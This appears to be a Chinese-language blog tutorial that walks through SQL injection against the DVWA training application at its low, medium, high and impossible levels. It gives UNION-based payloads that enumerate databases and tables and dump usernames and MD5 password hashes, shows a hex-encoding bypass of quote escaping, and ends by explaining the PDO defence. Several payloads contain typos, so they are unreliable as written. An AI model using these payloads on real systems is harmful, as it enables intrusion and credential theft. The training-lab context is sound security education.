赞
踩
目录
判断注入
1.判断是否存在注入。
输入’,返回数据库报错信息,存在sql注入,且数据库类型暴露
2.判断sql注入漏洞类型(数值型方法判断)
输入1 and 1=1,页面返回正常
继续输入1 and 1=2,页面返回正常无变化,并非数字型
字符型方法判断
输入1' and '1'='1,页面返回正常
继续输入1' and '1'='2,页面无返回,页面无反应,即回显异常,说明此 Sql 注入为字符型注入
推测它的查询语句是这样
query:SELECT first_name, last_name FROM users WHERE user_id = '1';
查询所有id用户
输入
1’or 1=1 #
1' or 1=1 --
1' or 'abc'='abc
对应查询语句应该是这样:
query: SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1 #'; SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1 -- '; SELECT first_name, last_name FROM users WHERE user_id ='1' or 'abc' ='abc';
构造永远为真的条件进行查询,列出所有ID、First name、Surname
字符型,1后面跟的 ' 闭合前面的
'
#和--用于注释掉后面的 '
1’or 1=1 #
猜解所查询的字段数
方法1:order by num
输入:1' order by 2 #
select first_name,last_name from user where user_id = '1' and order by 1 #
这条语句的意思是查询users表中user_id为1的数据并按第一字段排行。
1' order by 3 #
以上,用1' order by 2 #进行提交,可正常查询出ID=1的2个字段值;用1' order by 3 #进行提交,则会出现异常提示。说明此处的select查询语句中查询的字段有2个
方法2:union select 1,2,3...
使用 union select联合查询获取信息。
输入:
1' union select 1 # 1
1' union select 1,2 #
1' union select 1,2,3 # 返回与1一样
说明有两个字段
显示位字段
那么我们就可以通过这些显示位,查看数据库信息、版本、用户信息等等。。
1' union select databases(),version() #
联合查询法解释:
union 运算符可以将两个或两个以上 select 语句的查询结果集合合并成一个结果集合显示,即执行联合查询。需要注意在使用 union 查询的时候需要和主查询的列数相同,比如我们之前已经知道了主查询列数为 2,接下来
输入1' union select database(),user()#进行查询 :
实际执行的Sql语句是 :
select first_name,last_name from users where user_id = '1' union select database(),user()#
同理,若要查询其他
1' union select version(),@@vesion_compile_os#
获取所有数据库名称
1' union select 1,schema_name from information_schema.schamata#
Mysql安装后默认会创建三个数据库:information_schema、mysql和test;information_schema库下的schemata表中保存着DBMS中的所有数据库名称信息
获取当前连接数据库(dvwa)中所有表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
可以看到有三个表
已知当前数据库dvwa直接查询当前表名
information_schema 是 mySQL 自带的一张表,这张数据表保存了 MySQL 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。
1' union select table_namae,table_schema from information_schema from information_schema.tables where table_schema='dvwa'#
实际执行的sql语句
SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;
通过上图返回信息,我们可以知道以下信息:
猜解数据库字段名及爆库
接下来我们继续猜解数据库表中的字段名,因为需要知道字段名,才能查询数据库中存储的数据。
我们输入以下语句查询 users 表中的字段信息
1’ union select 1,group_concat(column_name) from informatioon_schema.columns where table_name='users'#
从输出结果可知,users 表中有 8 个字段,分别是 user_id,first_name,last_name,user,password,avatar,last_login,failed_login。
直接告诉我们,这些字段中最敏感的是 user,password 这两个字段,所以输入:1' union select user,password from users#进行查询。
实际执行的 SQL 语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;
可以看到成功爆出用户名、密码,密码采用 md5 进行加密,可以到 https://www.cmd5.com/ 查询解密:
源码:
查看源代码
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); //mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。
同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。
因为它改成下拉菜单,我们不能输入参数,所以我们可以通过Burp抓包、改包测试。
1.判断是否存在注入。
输入’,也买你返回数据库报错信息,存在sql注入,且数据库类型暴露
2.判断sql注入漏洞类型(数值型方法判断)
输入1 and 1=1,页面返回正常
继续输入1 and 1=2,页面无回显,返回异常,为数字型注入。
测试列数
输入到数字3时有了变化,所以此处的select查询语句中查询的字段有2个有2列
回显位置
接下来步骤应该和low级别一样就可以继续往下查询其他信息啦,但是如果仍然使用Low中爆表的方法,则会报错,因为 ’单引号被转义
由于对’单引号转义,所以用16进制进行绕过,dvwa的16进制为0x64767761即可(0x为16进制识别前缀)
获取关键数据
最后得到的密码是16进制数据,我们需要将其处理后使用。
1 union select user,password from users#
源码:
跟medium相比,high级别在查询语句添加了一个limit 1,希望只输出一个结果
虽然添加limit 1 ,但是我们可以将它注释掉。
剩下的方法和low级别过程大同小异了
源码:
可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。